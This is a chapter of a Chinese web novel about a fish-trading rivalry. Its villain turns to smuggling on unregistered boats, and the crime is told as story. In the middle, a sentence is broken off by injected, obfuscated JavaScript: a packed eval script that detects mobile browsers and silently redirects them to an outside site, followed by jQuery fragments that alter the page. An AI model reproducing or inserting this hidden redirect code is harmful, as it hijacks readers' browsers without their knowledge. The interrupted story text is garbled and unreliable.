蔡宏达闻言眉头一皱,眼中闪过几分恼火。


    “王厂长,这次鱼的问题,是我疏忽了,没有仔细检查。”


    “要赔偿,还是公开道歉,我都能接受。”


    “但你不能因为林斌,轻易解除咱们之间的合约。”


    “你这么做,让我回去怎么跟领导交代?”


    “咱们之间的合作,当初可是经过领导们撮合的,贸然解除,不是在打领导们的脸吗?”


    此话一出,**强当即冷笑一声。


    “亏你还好意思,把领导拿出来说事!”


    “今天你这批鱼,要是流入北方各级食堂的饭桌上,一旦出了事,他们全都得受牵连。”


    “你要是觉得他们,能为了瀚海贸易公司,舍弃安稳日子不过,那你尽管去告状。”


    “我就不信,到时候你能落到什么好处!”


    蔡宏达深吸了一口气,眼里的怒火,近乎要喷发出来。


    他算是看明白了,**强宁是王八吃秤砣,铁了心了!


    这个时候,说的什么没用,只能先回去再说。


    “好,**强,你给我等着。”


    “等你发现,花钱收不上鱼的时候,你就知道我的厉害了。”


    “咱们走!”


    话罢,蔡宏达转身就上了水产车。


    杨洪见状心中暗自松了口气,赶紧招呼其余人上车离开。


    **强见蔡宏达离开后,轻吐了一口气。


    “林斌,你不会像蔡宏达那样,坐地起价吧?”


    林斌笑了一声:“我要是想坐地起价,犯得着忙活这么半天?”


    “直接等到明天,你发现原料出问题的时候再来,岂不是更方便?”


    **强笑着点了点头,要是那时候林斌再来,八毛钱以下,他都能同意!


    “行,你开个价吧。”


    “这批马面鱼,你打算多少钱一斤卖给我?”


    林斌缓缓伸出三根手指头:“三毛钱一斤!”


    此话一出,现场顿时安静了下来。


    众人纷纷瞪大了眼睛,看着林斌伸出的三根手指头。


    都怀疑自己是不是听错了。


    十吨活鱼,鱼体没有破损,放在市场上卖,能卖到五毛钱一斤。


    可林斌,竟然出价三毛!


    这个价格比蔡宏达那批破鱼都便宜。


    **强深吸一口气,连忙道:“好!”


    “咱们可说定了,就三毛钱一斤。”


    “谁都不能反悔。


    林斌笑了笑,这批鱼能赚多少钱,他在回来的路上,就已经计算好了。


    虽说三毛钱价格比冻鱼都要便宜,但他第一次跟冷藏加工厂合作,肯定要拿出点诚意。


    他成本那么低,卖三毛一斤,还能净赚六千多块钱。


    先把客户抢过来!


    有了客户,还愁赚不到钱?


    再说,他现在完全是一举两得,赚了钱不说,还能阻断蔡宏达的走私路线。


    怎么算都不亏。


    “王厂长,你放心,我敢出价,肯定不会反悔。


    “时间不早了,要不先把鱼送进去?


    **强点了点头,看向一旁满脸无奈的葛鹏道:“葛鹏,你领着他们把鱼送到车间。


    “过秤之后,直接算钱开汇票。


    “去厂办,叫他们拟定一份合作协议,一并送到我办公室!


    葛鹏闻言答应了一声,他余光瞥了林斌一眼,暗骂了一句。


    要不是这个搅屎棍,他八百块钱的回扣,都已经揣口袋里了。


    不过现在**强在这,他也不好说什么,只能答应了一声,开始安排水产车进厂。


    **强直接把林斌请回了办公室。


    ……


    瀚海贸易公司。


    办公室内。


    蔡宏达一脚踹在茶几上,满脸的火气道:“林斌这个狗东西,老子要是不弄死他,我就不姓蔡!


    杨洪站在门口,满脸的无奈。


    他没预料到,林斌竟然这么厉害。


    短短两天时间,前后撬走了县供销社和冷藏加工厂,这两个大客户!


    这两个大客户,占据了他们公司,鱼获销售量的百分之八十!


    失去之后,意味着瀚海贸易公司“明面生意几乎崩盘,想要维持资金周转,只剩走私这一条路。


    但现在,他们失去了鱼获运输作掩护,想要继续走私,只能去租用没有合法手续的“黑船。


    伪装成近海打渔,进行直接走私。


    这种黑船的风险很大,跟他们之前,通过县供销社和冷藏加工厂的路线,根本没法比。


    蔡宏达踹累了之后,瘫坐在沙发上,深深吸了一口气。


    “这次光走私


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15948464|177492||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成本,高总就垫了几万块钱,卖家都已经找好了,要是出不了货,这笔损失就得算在咱们头上。


    “以高总的脾气,咱们俩谁都跑不掉。


    “明面生意断了,现在只有赌一把了!


    蔡宏达说完,抬


    头看向杨洪,眼中透出几分决绝。


    “你去找靠谱点的水耗子,让他那片最快能出海的黑船。”


    “分两批走货。”


    “一批去永安县内的乡镇,另一批按照冷藏加工厂的运货路线,去公海附近,交易电视机。”


    “只要能安全度过这一关,我亲自去找高总,让他想想办法,联络新的渠道!”


    杨洪深吸一口气,终究还是走到这一步了。


    所谓的水耗子,就是长期在各个码头,游荡的闲散人员,这类人非常熟悉地下交易,专门负责联系黑船。


    黑船的船长,几乎全都是有走私前科的渔民,驾驶的船,都是些陈旧的机帆船,没有船舶登记证,没有捕捞许可证,更没有船检合格证明。


    这类船还属于重点监督对象,有时候为了避免巡逻,还会在雷雨天出海,说白了就是把头别在裤腰带上赚钱!


    “我明白了。”


    杨洪答应了一声,转身就要走。


    蔡宏达开口叫住杨洪道:“这次出货,叫上孙伟新,让他跟你一起去。”


    “你们两个,一人盯一批船!”


    “有你们两个在,这帮黑船就不敢耍花样。”


    “你放心,万一出了什么问题,损失费我会直接叫人,送到你的老家。”


    此话一出,杨洪神情一怔。


    他看了蔡宏达一眼,眼神透着无奈和失望。


    片刻后,他点了点头,沉声道:“蔡总,就算你不说,我也打算自己抗下的。”


    “跟你的第一天,我就做好了这个准备。”


    “钱就算了,反正家里人都当我已经**,只要你别去打扰他们就好。”


    “我走了……”


    话罢,杨洪直接离开了办公室。


    蔡宏达怔怔的看着紧闭的木门,脑袋里不自觉的回想起,当初他认识杨洪的时候。


    一晃都七八年了。


    想到这,蔡宏达轻吐了口气。


    干他们这一行的,谁都得有这么一天。


    养兵千日,用兵一时,他还有什么好可惜的!